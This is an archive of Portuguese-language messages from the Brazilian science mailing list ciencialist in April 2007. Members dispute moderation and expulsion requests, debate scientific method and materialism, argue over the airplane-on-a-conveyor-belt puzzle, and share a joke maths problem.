Nessa última tentativa de re-colocar a C-List em seu eixo de nascimento coloco minhas esperanças na retidão e discernimento dos fundadores dessa agremiação de dilatadores de idéias e posturas científicas.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <redeliberal@yahoogrupos.com.br>; "Pela Legitima Defesa" <pld@pelalegitimadefesa.org.br>; <Conversa_de_Botequim@yahoogrupos.com.br>; <consciencia_sustentavel@yahoogrupos.com.br>; <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Enviada em: quinta-feira, 12 de abril de 2007 23:54
Assunto: [ciencialist] Quinze perguntas . . .





SUBJECT: Re: [ciencialist] Questão de Ordem - Direito de Defesa
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 08:44

Olá Ricardo!

Ricardo >>> a razão para que eu mandasse minha
mensagem em pvt não foi proteger minha identidade, mas
sim, justamente, porque não concordo com a continuação
desta discussão nesta lista, como informei na mensagem
em questão.

--- Ok.

Ricardo >>> Claro que vc tem o direito de discordar
desta minha posição.

--- Sim, discordo. Numa lista de ciencias, acho
fundamental se debater o método cientifico.

Ricardo >>> mas neste caso prefiro encerrar de vez a
discussão.

--- Quando um não quer dois não brigam. Fique a
vontade pra encerrar quando quiser.

Ricardo >>> Mantenho a minha proposta: se quiser
continuar o debate fora da lista, conte comigo.

--- Prefiro debater sobre o metódo cientifico aqui na
lista. Mas, embora vc não admita, creio que vc tem sim
pudor sobre o que os outros irão dizer. Se eu estiver
equivocado, não precisa me provar nada, isto é com vc.
Estou apenas expressando meu preconceito. Mas enfim,
se puder ser útil a voce, mesmo que em pvt, também
pode contar comigo. E se da nossa conversa em pvt
surgir algo que eu acredite possa ser util ao debate
sobre o método cientifico aqui na lista, eu mesmo
posto aqui.


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 09:49

Aqui abriu nos 3 browsers (Mozilla, Opera e Internet Explorer).

Vc nao está entrando na versão "xml"? Tenta de novo nessa url (as versões
ficam do lado direito)

http://www.scielo.br/scielo.php?script=sci_arttext&pid=S0001-37652006000400005

Ruim é que o Yahoo quebra as urls, fica meio confuso.

Gil

Em 12/04/07, Eduardo Torres <dudutorres@yahoo.com> escreveu:
>
>
> >>>>Tentei de novo de outro PC. De novo so' o fonte HTML. Mostro o
> inicio da pg:
>
> <?xml version="1.0" encoding="ISO-8859-1" ?>
> - <SERIAL>
> - <CONTROLINFO>
> <DATETIME>20070412 224400 4 101</DATETIME>
> <LANGUAGE />
> <STANDARD />
> <PAGE_NAME>sci_arttext</PAGE_NAME>
> <PAGE_PID>S0001-37652006000400005</PAGE_PID>
> <APP_NAME>scielo</APP_NAME>
> <ENABLE_STAT_LINK>1</ENABLE_STAT_LINK>
> <ENABLE_CIT_REP_LINK>1</ENABLE_CIT_REP_LINK>
> - <SCIELO_INFO>
> <SERVER>www.scielo.br</SERVER>
>
> (continua assim por varias pgs).
>
> Alguem alem do Takata conseguiu abrir?
>
> Abs,
> Eduardo Torres
>
>
>
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SUBJECT: Res: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOR OSA
FROM: Luiz Carvalho <lercarvalho@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 10:17

e no Tanada não vai kata ?

ele também faz parte desse grupinho de autores mais lidos.


L.E.

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SUBJECT: Re: [ciencialist] - Questão do ITA. muito boa
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 10:18

Silvio, é difícil acreditar que uma questão dessa tenha sido utilizada em
uma prova do ITA... Afinal, nessa gestão de fecundação-gestação não há tanta
precisão assim.
[]s
JR
.............................................

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Sent: Thursday, April 12, 2007 10:39 PM
Subject: [ciencialist] -Questão do ITA. muito boa
--------------------------------------------------------------------------------

se é bão de calculo
então, mata essa...!!!...hehehe

sem olhar a resposta!!!!!...espertão!!!!!!


Assunto: Questão do ITA.



Esta questão de matemática é muito porreta!!!

Rasgue a mente!
Essa nem o Mestre dos Magos acertaria a resposta.

A questão abaixo caiu na prova do ITA do ano passado, portanto aí
vai
um exemplo para os que almejam estudar nas melhores universidades do
país, ok?

Pura matemática

Uma mãe é 21 anos mais velha que o filho.
Daqui há seis anos a mãe terá uma idade 5 vezes maior que o filho.
Pergunta : Onde está o pai agora ?

Há que fazer alguns cálculos para obter a resposta.
Por mais incrível que pareça a resposta é dada pela matemática.
Veja a resposta abaixo... é bem interessante:









































Solução:

Analisando Hoje :

A mãe tem hoje Y anos.
O menino tem hoje X anos.
Portanto com a mãe 21 anos mais velha : Y = X + 21

Daqui a 6 anos : ( Y + 6 ) e ( X + 6 )
Portanto com a mãe 5 vezes mais que filho: Y + 6 = 5 ( X + 6 )

Resolvendo:

Y + 6 = 5 X + 30
Y = 5X + 24

Dai, substituindo na primeira equação:Y = X + 21, teremos:
5X + 24 = X + 21

Logo:
- 4X = 3
X = -3/4

O menino tem hoje -3/4 anos, ou seja, - 9 meses (menos nove meses
!!).

A resposta é lógica:
Se o menino tem exatos menos 9 meses, ele nascerá daqui a nove
meses, então:

Resposta do problema proposto:
O pai está comendo a mãe enquanto você esquenta a cabeça.


Brilhante !!!!!!!!!!



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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 10:28

JC, não há porque se desculpar!

Vc - e acredito que a grande maioria também - não acha a solução que eu
achei desde a primeira vez que refleti sobre o problema aqui na lista, há
pelo menos dois anos.

Só que eu tinha dispensado a solução que vcs vêem porque, nesta solução em
que ele voa, o avião se deslocava com o dobro da velocidade *em relação à
esteira*... Mas quando o referencial é o solo-terra tanto o avião como a
esteira se deslocam na mesma velocidade, em sentidos contrários.

Acredito que agora vc consiga ver o esquema que eu vejo.

[]s

José Renato
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 13, 2007 1:32 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
:)


Olá José Renato,

Desculpe-me, mas minha ignorância só permite achar uma solução para as
condições descritas do problema idealizado: o avião voa.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos!
>
> Não gostaria de lhe estragar o prazer de achar as duas soluções
possíveis
> para a questão apresentada. Lembro que esse mesmo problema foi
apresentado
> há tempos na lista e no final ficaram todos dizendo que voa e apenas eu
> dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> colocado várias dicas para serem analisadas de modo a acompanhar meu
> raciocínio lógico-matemático. Mas até agora parece que ninguém
conseguiu
> entender minhas explicações.
>
> Abraços
>
> José Renato
> ...................................................
>
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, April 11, 2007 12:12 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá JR,
>
> Não conheço sua solução (é sua?), aliás, nem sabia que tinha outra
> além da que o Homero comentou (é dele?).
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos, ainda bem que vc não entendeu no início! Mas agora
> com a
> > explicação de Homero vc ficou conhecendo uma das soluções possíveis da
> > questão. A outra solução ainda não consegui transmitir aos
> interlocutores da
> > lista. Pelo menos até agora ninguém disse que a entendeu.
> Estranhamente,
> > alguns ficaram calados depois de algumas explicações mais
> detalhadas... É
> > bom lembrar que as idéias não têm dono, mas têm autoria. É de boa
ética
> > citá-la ao transmitir em outras plagas.
> >
> > []s
> >
> > José Renato
> > .............................................
> >
> > ----- Original Message -----
> > From: "José Carlos Antonio" <profjc2003@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 09, 2007 6:02 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas porque
> > o José Renato não entendeu ainda? Será que ele está pensando que a
> > esteira está arrastando o avião para trás?
> >
> > Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
> > avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
> > alegria!).
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
escreveu
> > >
> > > Olá JC
> > >
> > > Este debate se originou de um experimento mental, uma
"pegadinha", que
> > > continha este enunciado:
> > >
> > > Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
> > > se move para frente, a esteira, a partir de um dispositivo
automático,
> > > começa a rolar para tras, na mesma velocidade de deslocamento do
> avião.
> > >
> > > Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
> > > relação ao ar), ou não decola (ou seja, não atinge a velocidade de
> voo).
> > >
> > > Depois de, inicialmente, alguns serem "enganados" pelo "red
hering", a
> > > esteira que rola para tras, o que os levou a afirmar que o avião NÃO
> > > decolava, pois não saia do lugar, todo mundo entendeu que, era
> > > irrelevante a esteira, pois esta só aplicava força através dos
> > > rolamentos das rodas, que são, no caso do avião, dispositivos de
> > > ELIMINAR a ligação entre o avião e o solo.
> > >
> > > Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
> > > rodas do avião, que continua a se mover para frente.
> > >
> > > Parte do engano é a forma como "vemos" as rodas, como
dispositivos de
> > > tração. Se colocar um carro na esteira, como ele depende da "tração"
> > > das rodas para se mover, o rolar da esteira impede que este ande
para
> > > frente.
> > >
> > > Mas aviões se movem com propulsão separada do solo e das rodas!
Ele se
> > > move pelas hélices e jatos. E estes o moverão para frente seja sobre
> > > rodas na esteira, seja sobre eskis no gelo, seja sobre
flutuadores na
> > > água.
> > >
> > > Mas o Renato se recusa a entender, e afirma que o avião não decola.
> > > Mais ainda, já bem encurralado, resolveu que "depende" do
referencial
> > > com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> > > seja, se medir a velocidade do avião em relação a esteira, ele não
> > > voa, se mudar a passar a medir a velocidade do avião em relação ao
> > > solo, ele voa.
> > >
> > > É um caso fantástico, onde dependendo do referencial em que mede
algo,
> > > o objeto se comporta de forma diferente!..:-) Até a relatividade do
> > > coitado do Einstein (que já foi usado para justificar todo e
qualquer
> > > absurdo) ele tentou usar para sua tese.
> > >
> > > Parte do engano veio de uma discussão paralela com o Takata, que
> > > defendia que, em determinadas circunstâncias, o atrito dos
rolamentos
> > > das rodas poderiam desacelerar o avião o suficiente para que
este não
> > > decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
> > > dos rolamentos, o avião decola sempre.
> > >
> > > Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
> > > enganaram no início com o "red hering" da esteira (como o próprio
> > > Leo), mas sem sucesso algum..:-)
> > >
> > > Se quiser tentar também, eu já desisti..:-)
> > >
> > > Um abraço.
> > >
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SUBJECT: Re: Res: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOR OSA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 10:42

Se quiser q eu seja expulso, basta colocar pra votação. Se a maioria
for a favor da proposta eu saio.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Luiz Carvalho <lercarvalho@...>
> e no Tanada não vai kata ?
>
> ele também faz parte desse grupinho de autores mais lidos.
>
>
> L.E.



SUBJECT: Re: [ciencialist] Res: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOR OSA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 10:51

O Roberto é suficientemente capaz de perceber isso (por isso não detalhei na minha mensagem). Ele próprio se incumbe, se achar válido o meu pedido, de sua auto-moderação.

Dispensemos o óbvio!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Carvalho" <lercarvalho@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 13 de abril de 2007 10:17
Assunto: [ciencialist] Res: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOR OSA


e no Tanada não vai kata ?

ele também faz parte desse grupinho de autores mais lidos.


L.E.



SUBJECT: Re: - Questão do ITA. muito boa
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 10:58

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Silvio, é difícil acreditar que uma questão dessa tenha sido
> utilizada em uma prova do ITA...

Claro q não foi e Seu Silvio sabe disso. É apenas uma piada. Velha. Q
já foi postada na lista no pleistoceno internético.

http://br.groups.yahoo.com/group/ciencialist/message/50639
http://br.groups.yahoo.com/group/ciencialist/message/13616

[]s,

Roberto Takata



SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 11:51

Olá Takata!

- - - - - -

1) Realidade (takata): propriedade daquilo q existe.
1) Realidade (ferrari): ser universal (onipresente,
onipotente, onisciente).

2) Definição (takata): um subconjunto de propriedades
ao mesmo tempo necessárias e suficientes.
2) Definição (ferrari): decodificação (humana) da
realidade.

- - - - - -

Takata >>> Espaço e tempo podem ser propriedades da
realidade.

--- Vamos investigar o que voce está falando. Que
propriedades são estas: espaço e tempo? Por favor,
defina espaço e tempo.

Takata >>> Pela sua definição humanos tb não seriam
realidade, posto q não são oni...

--- Exato, humano não é realidade, é definição da
realidade.

Takata >>> A definição q escrevi de realidade não é
propriamente materialista - embora o materialismo
possa se apoiar nela. Por exemplo, se espíritos
existem, então eles tb fariam parte da realidade.

--- Primeiro acho que não faz sentido vc falar em
espirito sem antes definir o que é espirito. Grosso
modo, creio que vc fala em espirito se referindo a
idéia de alma, e não concordo que espirito e alma
sejam a mesma coisa. Contudo, não é por isto que digo
que sua definição é materialista, digo que sua
definição é materialista porque segundo sua definição,
só é real aquilo que pode ser propriamente medido e
propriamente particularizado (que existe), contudo, a
realidade é real independente de qualquer medição ou
particularização. Ao medir e particularizar, vc toma
conhecimento (particular) da realidade, mas a
realidade não deixa de ser realidade nem antes, nem
durante, nem depois da medição. Ou seja, não é a
medição que faz com que realidade seja real. Entende o
que estou dizendo? Sua definição de realidade é
materialista porque ela usa a palavra "existencia" e é
sua definição de existencia é materialista. Ao meu
ver, sua definição de realidade, é assim:

1) Realidade (takata): propriedade daquilo que pode
ser medido e particularizado.

--- Entende o que estou dizendo?
--- Concorda? O que acha?

Takata >>> Qto às diferenças, elas são bem visíveis.
Na definição q escrevi, não se faz nenhuma suposição a
cerca da capacidade de saber do q quer q seja a
realidade - a realidade não precisa, por definição,
ser consciente.

--- Pelo contrário, quando vc diz "aquilo que existe",
vc está se referindo justamente a "aquilo que
conheço", ou seja, ao consciente. Percebe isto? Isto é
muito importante, pois vc só pode dizer "aquilo que
existe", se souber algo sobre aquilo (se for
consciente). Quanto a onipotencia, onisciencia e
onipresença, não são medições, nem existencias, mas
induções analogicas do universal sem as qual nada no
particular não faria sentido.

Takata >>> Não precisa e nem há comunicação entre as
pilastras

--- Claro que há. Há uma comunicação de forças, por
exemplo. Agora, atenção, estamos usando as pilastras
como metáfota. Não vai materializar a metáfora também,
que ai é que a casa cai mesmo.

Takata >>> As pilastras estão separadas e elas
poderiam, inclusive, assentarem-se sobre porções
isoladas do solo.

--- Se vc, como bom materialista, quiser separar tudo,
sim. O tijolo está separadado do cimento, que está
separado das vigas de ferro, que está separardo da
areia, que está separado da plilastra e etc... Porém,
a casa é tudo, ela não é apenas uma parte ou outra
separada teoricamente. Na prática, não tem separação
de nada na casa, só na visão separatista e teórica.
Para o masp, na prática, as pilastras não estão
separadas, elas são o próprio masp. O mesmo acontece
para o ser humano. Arte, ciencia, filosofia e religião
são o ser humano em prática, não tem como separar. O
ser humano só é separado na teoria, na prática é ser
humano.

Outra analogia; é como vc dizer que o corpo humano é
só fígado. O corpo pode ser separado na teoria, mas na
prática ele é o todo funcionando. O corpo é tudo,
figado, veias, coração, cerebro, ossos, etc. Sua
proposta é que o ser humano seja só o fígado, e isto é
impossivel, na prática. É por isto que sua proposta é
uma proposta teorica, que está inevitavelmente fadada
ao fracasso, assim como o comunismo. Porque o ser
humano, e nada na natureza, funciona da teoria pra
prática, mas da prática pra teoria.

Takata >>> Uma pilastra não sabe o q a outra faz ou
deixa de fazer e isso não interfere no q cada uma faz
ou deixa de fazer.

--- Dialogar não é interferir. Expressar não é impor.
Cada orgão do corpo atua especificamente em sua
função, mas dentro de um funcionamento universal (o
corpo). Nenhum orgão funciona pra si mesmo. A célula
que funciona para si mesma é suicida, é cancer, mata o
universal (corpo) e assim se suicida. O mesmo se dá
com as faculdades humanas. Elas são especificas, mas
complementares. Entende isto? Sendo assim, não há mal
nenhum em arte, ciencia, filosofia e religião se
comunicarem, só beneficio, uma vez que estão todas
trabalhando para um mesma causa e sobre uma mesma
causa.


sinceramente
ferrari





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SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 12:32

Propósitos da lista??? Quando eu perguntei onde
estava escrito que essa lista era de hard science você
não soube responder.
Tá querendo dar uma de inquisidor é ???

Meus amplexos santos :p

--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> Pelo andar da carruagem por que passa a C-List,
> solicito aos amigos Brudna e Takata a "Exclusão" dos
> listeiros Ferrari, Silvio Cordeiro, José Renato e
> Murilo Filo, principais causadores dos desvios nos
> propósitos da lista, assim como a moderação rigorosa
> dos listeiros que participam desses desvios
> 'contra-argumentando' sobre assuntos
> não-pertinentes.
> Nessa última tentativa de re-colocar a C-List em seu
> eixo de nascimento coloco minhas esperanças na
> retidão e discernimento dos fundadores dessa
> agremiação de dilatadores de idéias e posturas
> científicas.
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
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> -----Mensagem Original-----
> De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
> Para: <redeliberal@yahoogrupos.com.br>; "Pela
> Legitima Defesa" <pld@pelalegitimadefesa.org.br>;
> <Conversa_de_Botequim@yahoogrupos.com.br>;
> <consciencia_sustentavel@yahoogrupos.com.br>;
> <ciencialist@yahoogrupos.com.br>;
> <Acropolis_@yahoogrupos.com.br>
> Enviada em: quinta-feira, 12 de abril de 2007 23:54
> Assunto: [ciencialist] Quinze perguntas . . .
>
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"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 13:15

Olá Chicão

Chicão: "Propósitos da lista??? Quando eu perguntei onde
> estava escrito que essa lista era de hard science você
> não soube responder.
> Tá querendo dar uma de inquisidor é ???"

O propósito da lista, chamada CienciaList, é debater, discutir e
permitir o aprendizado de ciência e temas correlatos. Isso não é
difícil de compreender, e nem de limitar o alcance.

É tão sem propósito neste lista debater os milagres do Frei Galvão
(mesmo que do "ponto de vista" científico, pois seria preciso apenas
uma linha para isso, e esta diria: nenhum), quanto as diatribes e o
proselitismo da religião tipo Nova Era do Ferrari.

Seu discurso, totalmente irracional, sem sentido, e despropositado,
não pode ser respondido de nenhuma forma racional ou lógica. Distorção
de termos, alegações incomprováveis, frases "de impacto" como "deus é
tempo, tempo é deus, movimento é deus, a mente de deus é o tudo, o
tudo é deus, deus é minha máquina de lavar roupas" e outras pérolas,
nada acrescentam a lista, nem permitem qualquer comunicação razoável.

Alguém o chamou de "poeta", mas é um péssimo poeta, pois mesmo estes
ainda tentam comunicar alguma coisa com certo sentido.

Se for para ler maluquices como essa, recheadas de "ataques aos
cientistas materialistas", ataques escritos, postados e distribuídos
em equipamentos construídos graças a esses cientistas materialistas,
prefiro ficar de fora, ou procurar outra lista menos "esotérica"..:-)

Religiosos malucos, que veem deus "em tudo", e que não conseguem
entender o que siginfica realidade, razão, lógica, etc, já tiveram sua
chande, e tentaram, por alguns milhares de anos, explicar o unvierso
em suas bases, a partir de suas premissas. Sabemos os resultados,
pífios, que produziram.

Há algum tempo que a ciência, materialista, pois é tudo que podemos
ter razoável certeza de existir, a matéria não intencional, tem usado
seu sistema, e o resultado é que até doidos de pedra como o Ferrari
podemo agora espalhar essas maluquices em alcance global, por um
sistema, material, de computadores, uma rede, material, de satélites,
um conjunto de conhecimento confiável, e material, chamado ciência.

Por isso ele não usa "telepatia", ou seu "mapa mental" para nos
brindar com essas "verdades" que só ele enxerga (pobre de nós, ele
"sabe" e nós não..:-). Ou por isso que ele não "reza" para que o
deus-tudo nos ilumine. Não, ele tem de escrever mensagens sem sentido,
esperando que nós "vejamos a luz"..:-)

Chicão, se o Ferrari tiver uma apendicite, o que acha que fará? Vai
usar seu "mapa mental" para entrar em contato com o "deus tudo" e
esperar, ou vai a um hospital, cheio de materialistas, usar
conhecimento, produzido por materialistas, antibióticos,
materialistas, cirurgia, materialista, e se curar! Ele é louco, mas
não tão louco de descartar todo esse conhecimento eficaz em nome de
sua loucura..:-)

Ciência não é democracia. Não é uma questão de "votar" para ver que
alegação é correta ou real. Não se "vota" para decidir que medicamento
cura mais pessoas, nem é uma questão de "democracia" permitir que
todos aleguem o que desejarem, ou que toda alegação, democraticamente,
seja aceita como real!

E certamente não é inquisição defender o objetivo da lista e pedir a
colaboração dos listeiros. Colaboração que o Ferrari, pensando ser
mais, mais esperto, mais "sabido", mais especial que os "cientistas
materialistas", se recusa a dar.

Uma regra padrão em lista é, não alimente o troll. Mas alguns trolls
continuam a escrever, quer se alimente, quer se ignore. E nesses casos
é preciso mais alguma ação, ou o troll toma conta de lista.

Com que a maioria dos listeiros que assinam uma lista chamada
CIENCIALIST deseja debater e conversar? Com um esotérico meio doido,
que não diz coisa com coisa, que não produz nada, que não leva a nada,
e que apenas tenta "evangelizar" as pessoas a seu credo pessoal, ou
com quem se mantém focado nos objetivos da lista?

Com que prefere debater, Chicão, com o Ferrari, que JAMAIS cederá a
qualquer alegação sua, ou responderá qualquer coisa inteligível ao que
você escreve, ou com os cientistas e especialistas da lista?

O que acha que as maluquices do Ferrari acrescentarão a seus
questionamentos?

Chicão, o Ferrari entrou na lista com o firme propósito de bagunçar o
coreto. Não pretende aprender nada, pois ele "já sabe", não pretende
debater ciência, pois está é "materialista" e não pretende ajudar nada
nem ninguém. Pretende apenas arrumar confusão, e tentar convencer as
pessoas que ele tem "a verdade", em especial as mais influenciáveis,
as que JÁ são religiosas, como o Jose Renato, e que devem vê-lo como
um "guerreiro da fé", a lutar contra os malvados cientistas ateus..:-)

Eu voto por solicitar, mais uma vez, que o Ferrari pare de mandar
mensagens evangélicas sobre divindades imaginárias para a lista. E que
seja tomada uma medida mais drástica, se ele não colaborar.

Um abraço.

Homero







SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 13:37

Isso fere a ética da democracia e reforça o "fanatismo" da ciência voltada a
inutilidade a humanidade...ou em outras palavras, voltada aos laboratórios
capitalistas.

sds
AV

Em 13/04/07, Chicao Valadares <chicaovaladares@yahoo.com.br> escreveu:
>
> Propósitos da lista??? Quando eu perguntei onde
> estava escrito que essa lista era de hard science você
> não soube responder.
> Tá querendo dar uma de inquisidor é ???
>
> Meus amplexos santos :p
>
> --- Luiz Ferraz Netto <leobarretos@uol.com.br <leobarretos%40uol.com.br>>
> escreveu:
>
>
> > Pelo andar da carruagem por que passa a C-List,
> > solicito aos amigos Brudna e Takata a "Exclusão" dos
> > listeiros Ferrari, Silvio Cordeiro, José Renato e
> > Murilo Filo, principais causadores dos desvios nos
> > propósitos da lista, assim como a moderação rigorosa
> > dos listeiros que participam desses desvios
> > 'contra-argumentando' sobre assuntos
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> > Nessa última tentativa de re-colocar a C-List em seu
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> >
> > aquele abraço,
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> > Luiz Ferraz Netto [Léo]
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> "Pela
> > Legitima Defesa" <pld@pelalegitimadefesa.org.br<pld%40pelalegitimadefesa.org.br>
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> > <Acropolis_@yahoogrupos.com.br <Acropolis_%40yahoogrupos.com.br>>
> > Enviada em: quinta-feira, 12 de abril de 2007 23:54
> > Assunto: [ciencialist] Quinze perguntas . . .
> >
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("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 14:40

Olá pessoal

Nada poderia ser mais significativo, do descontrole da CienciaList, que a volta do Amauri para "acrescentar" seus "sábios" conselhos e manifestações ao debate, já bastante prejudicado..:-) A ciência é voltada para a inutilidade da humanidade..:-) Fala sério..:-)

Mais um pouco, e penso que devemos chamar o Bradock/Junior/Pubmed/etc, para colaborar com a lista..:-)

De toda forma, "tô fora"..:-)

Um abraço a todos os co-listeiros.

Homero


----- Original Message -----
From: Amauri Voltaire
To: ciencialist@yahoogrupos.com.br
Sent: Friday, April 13, 2007 1:37 PM
Subject: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA


Isso fere a ética da democracia e reforça o "fanatismo" da ciência voltada a
inutilidade a humanidade...ou em outras palavras, voltada aos laboratórios
capitalistas.

sds
AV

Em 13/04/07, Chicao Valadares <chicaovaladares@yahoo.com.br> escreveu:
>
> Propósitos da lista??? Quando eu perguntei onde
> estava escrito que essa lista era de hard science você
> não soube responder.
> Tá querendo dar uma de inquisidor é ???
>
> Meus amplexos santos :p
>
> --- Luiz Ferraz Netto <leobarretos@uol.com.br <leobarretos%40uol.com.br>>
> escreveu:
>
>
> > Pelo andar da carruagem por que passa a C-List,
> > solicito aos amigos Brudna e Takata a "Exclusão" dos
> > listeiros Ferrari, Silvio Cordeiro, José Renato e
> > Murilo Filo, principais causadores dos desvios nos
> > propósitos da lista, assim como a moderação rigorosa
> > dos listeiros que participam desses desvios
> > 'contra-argumentando' sobre assuntos
> > não-pertinentes.
> > Nessa última tentativa de re-colocar a C-List em seu
> > eixo de nascimento coloco minhas esperanças na
> > retidão e discernimento dos fundadores dessa
> > agremiação de dilatadores de idéias e posturas
> > científicas.
> >
> > aquele abraço,
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@uol.com.br <leobarretos%40uol.com.br>
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> > De: "Silvio Cordeiro" <scordeiroes@superig.com.br<scordeiroes%40superig.com.br>
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> > Para: <redeliberal@yahoogrupos.com.br <redeliberal%40yahoogrupos.com.br>>;
> "Pela
> > Legitima Defesa" <pld@pelalegitimadefesa.org.br<pld%40pelalegitimadefesa.org.br>
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> > <Acropolis_@yahoogrupos.com.br <Acropolis_%40yahoogrupos.com.br>>
> > Enviada em: quinta-feira, 12 de abril de 2007 23:54
> > Assunto: [ciencialist] Quinze perguntas . . .
> >
> >
> >
> >
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
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"Não importa o que fizeram a você.
O que importa é o que você faz com
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Jean-Paul Sartre (1905-1980)
Filósofo francês

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 15:50

Por gentileza, Brudna e Takata, queiram acrescentar à lista de minha solicitação de EXCLUSÃO e/ou MODERAÇÃO RÍGIDA o listeiro Amauri Voltaire; não sei porque cargas d'água esqueci-me de citá-lo. A mentalidade 'CIENTÍFICA' do referido é incompatível com os maduros preceitos da lógica.
aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
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http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Amauri Voltaire " <amaurij@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 13 de abril de 2007 13:37
Assunto: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA


Isso fere a ética da democracia e reforça o "fanatismo" da ciência voltada a
